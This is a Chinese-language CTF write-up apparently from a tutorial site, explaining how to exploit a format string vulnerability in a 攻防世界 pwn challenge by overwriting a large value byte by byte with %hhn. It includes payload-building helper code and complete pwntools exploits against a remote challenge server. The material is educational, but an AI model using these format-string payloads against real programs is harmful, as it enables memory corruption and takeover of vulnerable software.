Python网络安全格式字符串漏洞任意地址覆盖大数字详解

 更新时间:2021年10月14日 16:00  点击:2012

格式化字符串漏洞覆盖大数字时,如果选择一次性输出大数字个字节来进行覆盖,会很久很久,或者直接报错中断,所以来搞个攻防世界高手区的题目来总结一下

pwn高手区,实时数据监测这道题,就是格式化字符串漏洞覆盖大数字

请添加图片描述

请添加图片描述

题目运行时会直接告诉你key的地址,我们只需要利用imagemagic中的printf利用格式化字符串漏洞来覆盖就行了,但就像刚才说的,直接覆盖时间太久了而且会报错,所以可以想想别的办法

如果我们想覆盖key为0x02223322,那么根据小端存储,在内存中就是\x22 \x33 \x22 \x02,高地址放高位,低地址放低位

在格式化字符串中,%hhn会向某个地址写入单字节,%hn 会向某个地址写入双字节,单字节的用的比较多

在这道题中,要覆盖的地址为0x0804a048,要覆盖的数据为0x02223322,相当于

0x0804a048 \x22
0x0804a049 \x33
0x0804a04a \x22
0x0804a04b \x02

字符串偏移用%p计算出来为12

请添加图片描述

所以payload构造如下

payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'

很麻烦,但是wiki中给出了一个模板,无论在x86还是x64下都能使用

模板如下

#prev表示前面已输出的字节
#word表示应该输出的字节
#index表示偏移量
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr
#offset表示起始偏移量,比如这题为12
#size表示字节长度,x86为4,x64为8
#addr表示要覆盖的地址,这题为0x0804a048
#target表示要覆盖的值,这题为0x02223322
def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):#一次传送一个字节
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(12,4,0x0804A048,0x02223322)

这里要注意一下prev > word的情况,因为已经输出的字符串大于了我们要输入的数值,所以前面加了256,一次只接受一个字节,用溢出来穿,比如prev = 2,word = 1,result = 255,再算上之前已经传的2,一共是257,溢出之后就是1,就是我们要传的数值

完整exp如下 我用的高版本乌班图,然后是python3,所以做了一些修改,来保证bytes和str

from pwn import *
p = remote('111.200.241.244', '58464')
# p = process("./hello_pwn")
# p.recvuntil(b"Please closing the reaction kettle\n")
# p.recvuntil(b"The switch is:0x4006b0\n")
# p.recvuntil(b">\x00")
# payload = p64(0x04005F6) + 35795745*b'\x00' + b'%12$n'#第12个参数 AAAA
# payload = fmtstr_payload(12,{0x804a048:0x02223322})
# payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
def fmt(prev,word,index):
    if prev < word:
        result = word - prev
        fmtstr = ('%' + str(result) + 'c').encode()
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = ('%' + str(result) + 'c').encode()
    fmtstr += ('%' + str(index) + '$hhn').encode()
    return fmtstr
def fmt_str(offset,size,addr,target):
    payload = b""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i *8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload =fmt_str(12,4,0x804a048,0x2223322)
p.sendline(payload)
p.interactive()

请添加图片描述

参考ctf-wiki 跳转处

也可以直接用fmtstr_payload,它是pwntools中的一个工具,可以简化格式化字符串漏洞的利用

pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte') → str

第一个参数为偏移,第二个参数{addr:value}表示写入的数据,第三个参数表示已输出的字符,这里默认值为0,我就没写,第四个参数表示写入参数一次写入的大小,有byte,short,int,对应hhn,hn,n

官方文档

exp如下

from pwn import *

p = remote('111.200.241.244', '58464')

payload = fmtstr_payload(12,{0x804a048:0x02223322})
p.sendline(payload)
p.interactive()

非常简短,很方便

以上就是Python网络安全格式字符串漏洞任意地址覆盖大数字详解的详细内容,更多关于Python格式化字符串漏洞覆盖大数字的资料请关注猪先飞其它相关文章!

[!--infotagslink--]

相关文章

  • php中Multipart/form-data漏洞补丁修复

    Multipart/form-data是文件上传或数据提交时会用到了,在php中Multipart/form-data是有安全bug的,下面我们来看看如何修复Multipart/form-data的bug吧. 今天在乌云...2016-11-25
  • 苹果修复了三个正被利用的高危漏洞

    苹果发布补丁修复了三个正被攻击者利用窃取用户敏感信息的高危漏洞,攻击者安装的间谍软件能窃取包括微信在内的应用信息。移动安全公司 Lookout 和加拿大多伦多大学公民实验室的研究人员合作发现了被命名为 Pegasus 的间谍软件。...2016-08-27
  • 详解各种PHP函数漏洞

    这篇文章主要介绍了详解各种PHP函数漏洞,对漏洞感兴趣的同学,可以参考下...2021-04-21
  • php5系列的apache远程执行漏洞攻击脚本

    这篇文章主要介绍了php5系列的apache远程执行漏洞攻击脚本,需要的朋友可以参考下...2020-04-25
  • 最新MySQL数据库漏洞情况通报

    本文是对近期mysql报出的漏洞情况进行了简单的说明以及漏洞的修复措施分享,有需要的小伙伴一定要关注下...2016-10-02
  • 史上最严重移动端漏洞现身:可控制所有手机!

    近日,有国外安全专家发现了一个“史上最严重移动通信安全漏洞”。...2016-08-27
  • PHP/ASP上传漏洞探究

    1:传漏洞利用的原理只是针对form格式上传的asp和php脚本*** nc(netcat) 用于提交数据包 dos界面下运行: nc -vv www.***.com 80<1.txt -vv:...2016-11-25
  • php安全攻防利用文件上传漏洞与绕过技巧详解

    这篇文章主要介绍了php安全攻防如何利用文件上传漏洞与绕过技巧详解,有需要的朋友可以参考借鉴下,希望大家多多进步早日升职加薪...2021-10-15
  • Python网络安全格式字符串漏洞任意地址覆盖大数字详解

    这篇文章主要介绍了Python网络安全格式字符串漏洞任意地址覆盖大数字的示例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步...2021-10-14
  • PHP序列化/对象注入漏洞分析

    这篇文章主要为大家详细介绍了PHP序列化对象注入漏洞分析,PHP序列化对象注入漏洞的利用,感兴趣的小伙伴们可以参考一下...2016-04-20
  • PHP漏洞中的战争

    滥用include 1.漏洞原因: Include是编写PHP网站中最常用的函数,并且支持相对路径。有很多PHP脚本直接把某输入变量作为Include的参数,造成任意引用脚本、绝...2016-11-25
  • PHP Advanced Transfer Manager多个漏洞

    信息提供: 安全公告(或线索)提供热线:51cto.editor@gmail.com 漏洞类别: 输入确认漏洞 攻击类型: 远程攻击 发布日期: 2005-09-20 更新日期: 2005-09-20 受影响系统: PHP...2016-11-25
  • okphp系列产品的多个漏洞

    本文作者:SuperHei 文章性质:原创 发布日期:2005-08-14 程序描叙   OKPHP是由www.okphp.com开发一套专业的网站管理系统,目前产品包括:Okphp CMS, Okphp BBS,Okphp BLOG。...2016-11-25
  • PHP网站常见安全漏洞,及相应防范措施总结

    这篇文章主要介绍了PHP网站常见安全漏洞,及相应防范措施总结,文中相关措施讲解的很清晰,有感兴趣的同学可以学习下...2021-03-01
  • 任天堂悬赏黑客检测3DS系统漏洞,最高赏金2万美元

    漏洞众测平台 HackerOne 显示,任天堂近日在该网站挂上了一个漏洞悬赏任务,悬赏“白帽黑客”检测 3DS 游戏系统相关漏洞。据 HackerOne 规则,任天堂评估漏洞及解决方案后,会为提交漏洞的用户给出 100 到 2 万美元不等的报酬。...2016-12-15
  • PHP常见漏洞攻击分析

    本文给大家介绍php常见漏洞攻击相关知识,本文介绍的非常详细,具有参考借鉴价值,感兴趣的朋友一起学习吧...2016-02-23
  • IIS下ASP目录漏洞和IIS分号漏洞(;)的临时解决方法

    只要一个文件有(.asp)后面再带上分号(;)后面再带上一个随意字符加上扩展名如(cao.asp;ca.jpg)这个文件Windows会当成jpg图像文件,但是这种文件在IIS中会被当成asp运行...2016-01-27
  • 验证码的三个常见漏洞和修复方法

    这篇文章主要介绍了验证码的三个常见漏洞和修复方法,本文讲解了把验证码存储在Cookie中、没有进行非空判断、没有及时销毁验证码三个常见问题和解决方法,需要的朋友可以参考下...2020-06-25
  • ASP.NET笔记之Session、http、web开发原则、xss漏洞的详细介绍

    本篇文章小编为大家介绍,ASP.NET笔记之Session、http、web开发原则、xss漏洞详细。需要的朋友参考下...2021-09-22
  • 谷歌发布最新安全更新 波及9亿手机的漏洞终于修复了

    9月7日消息,据ZDNet报道,在8月份的Def Con黑客大会上,曾有研究人员宣称发现名为Quadrooter的安全漏洞,9亿多部安卓手机可能受影响。谷歌于周二发布最新安全升级,宣布终于修复了所有安全漏洞。...2016-09-12